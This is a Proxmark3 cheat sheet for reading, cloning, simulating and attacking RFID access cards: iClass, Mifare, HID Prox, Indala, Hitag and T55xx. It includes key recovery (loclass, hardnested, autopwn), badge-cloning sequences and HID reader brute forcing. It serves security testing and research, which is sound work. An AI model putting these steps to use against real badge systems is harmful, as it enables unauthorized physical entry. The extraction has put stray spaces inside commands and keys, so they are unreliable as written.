Cheatography

Proxmark3 Cheat Sheet

by Lewys Martin (CountParadox) via cheatography.com/88350/cs/20277/

Proxmark3 Cheat Sheet

This cheat sheet contains many useful commands to help you get started with Proxmark3.
Big thanks to Alex Dib, Philippe Teuwen and Iceman over on the RfidResearchGroup GitHub for their cheat sheet!

iClass

Reverse Permute Master Key	`hf iclass permute r 3F90EB F09 1DF7B6F`
Simulate Reader	`hf iclass reader`
Dump	`hf iclass dump k AFA785 A7D AB33378`
Read Block	`hf iclass readblk b 7 k AFA785 A7D AB33378`
Write to Block	`hf iclass writeblk b 07 d 6ce099 fe7 e614fd0 k AFA785 A7D AB3 3378`
Print Keystore	`hf iclass managekeys p`
Add Key to Keystore [0-7]	`hf iclass managekeys n 0 k AFA785 A7D AB33378`
Encrypt Block	`hf iclass encryptblk 000000 0f2 aa3dba8`
Load Dump	`hf iclass eload f iclass _ta gdu mp- fil ena me.bin`
Simulate	`hf iclass sim 3`

Simulation notes:

0 <CSN> simulate the given CSN

1 simulate default CSN

3 Full simulation using emulator memory

Simulate iClass Sequence

```
pm3 > hf iclass dump k AFA785 A7
D AB33378
pm3 > hf iclass eload f iclass _
ta gdu mp- db8 837 02f 8ff 12e 0
.bin
pm3 > hf iclass sim 3
```

Clone iClass Legacy Sequence

```
pm3 > hf iclass readblk b 7 k AF
A785 A7D AB33378
pm3 > hf iclass writeblk b 07 d
6ce099 fe7 e614fd0 k AFA785 A7D -
AB33378
```

Generic Commands

High Frequency Search	`hf search`
Low Frequency Search	`lf search`
Measure Antenna Characteristics	`hw tune`
Check Version	`hw version`
Check overall status	`hw status`

Mifare

Check for Default Keys	`hf mf chk *1 ? d defaul t_k eys.dic`
Dump (0=Mini, 1=1k, 2=2k, 4=4k)	`hf mf dump 1`
Write to Block	`hf mf wrbl 0 A FFFFFF FFFFFF d3a285 9f6 b88 040 0c8 010 020 000 00016`
Hardnested Attack	`hf mf hardnested 0 A FFFFFF FFFFFF 0 A w`
Load Dump	`hf mf eload 353C2AA6`
Simulate	`hf mf sim u 353c2aa6`
Run autopwn	`hf mf autopwn`

Simulate Mifare Sequence

```
pm3 > hf mf chk *1 ? d defaul t_
k eys.dic
pm3 > hf mf dump 1
pm3 > script run dumptoemul -i d
ump.bin
pm3 > hf mf eload 353C2AA6
pm3 > hf mf sim u 353c2aa6
```

Clone Mifare 1K Sequence

```
pm3 > hf mf chk *1 ? d defaul t_
k eys.dic
pm3 > hf mf dump
pm3 > hf mf restore 1 u 4A6CE843
 k hf-mf- A29 558 E4- key.bin f
hf-mf- A29 558 E4- dat a.bin
```

Indala

Read	`lf indala read`
Demodulate	`lf indala demod`
Simulate	`lf indala sim a00000 00c 2c436c1`
Clone to T55x7	`lf indala clone a00000 00c 2c436 c1`

Lua Scripts

Lua Scripts (cont)

Format Mifare card	`script run format Mifare -k -x`

```
Options
---
k <ke y>        : the current six
 byte key
n <ke y>        : the new key
a <ac ces s>    : the new access
 bytes
x               : execute the comm
ands
```

HID Prox

Read	`lf hid read`
Demodulate	`lf hid demod`
Simulate	`lf hid sim 200670012d`
Clone to T5577	`lf hid clone 200670012d`
Convert Site & Facility code to Wiegand	`lf hid wiegand 0 56 150`

Brute force HID reader

```
Options
---
a <fo rma t>        :  26|33| 34
| 35| 37| 40| 44| 84"
f <FC> :  8-bit value, facility
code"
c <CN>    :  (optional) Starting
 Number, max 65535"
d <de lay>          :  delay in m
s. Default 1000ms "
v                   :  verbose log
ging, show all tries"
---
pm3 > lf hid brute a 26 f 224
pm3 > lf hid brute v a 26 f 21 c
 200 d 2000
```

Raw Data

iClass loclass attack

Extract custom iClass key (loclass attack)

```
pm3 > hf iclass sim 2
pm3 > hf iclass loclass f iclass _ma data _k.bin
pm3 > hf iclass dump k <Kc us> e
```

Verify custom iClass key

```
pm3 > hf iclass lookup u 010a0f fff 7ff12e0 p feffff fff fffffff m 663489 791 53c41b9 f defaul t_i cla ss_ key s.dic e
```

List Scripts	`script list`
Convert bin to .eml	`script run dumptoemul -i filena me.bi n`

Get samples	`data samples <si ze>`
Save samples	`data save <fi len am e>`
Load samples	`data load <fi len am e>`

`raw samples [512-4 0000]`

Hitag

Read Hitag inform-ation	`lf hitag info`
Act as Hitag reader	`lf hitag 26`
Sniff Hitag traffic	`lf hitag sniff`
Simulate	`lf hitag sim c37818 1c_ a8`
Write to Block	`lf hitag writer 24 499602`

Simulate Hitag2 sequence

```
pm3 > lf hitag reader 21 56713368
pm3 > lf hitag sim c37818 1c_ a8f 7.ht2
```


By **Lewys Martin** (CountParadox)

cheatography.com/countparadox/
lewys.eu

Published 15th August, 2019.
Last updated 30th September, 2019.

T55XX

Detect T55XX	`lf t55xx detect`
Demodulation Config	`lf t55xx config FSK`
Write to Block	`lf t55xx wr b 0 d 00081040`
Factory Reset Tag	`lf t55xx wipe`

Modulation Types

```
<FS K|F SK1 |FS K1a |FS K2| FSK -
2a| ASK |PS K1| PSK 2|N RZ| BI| -
BIa>
EM is ASK
HID Prox is FSK
Indala is PSK
```

By **Lewys Martin**
(CountParadox)

cheatography.com/countparadox/
lewys.eu

Published 15th August, 2019.
Last updated 30th September, 2019.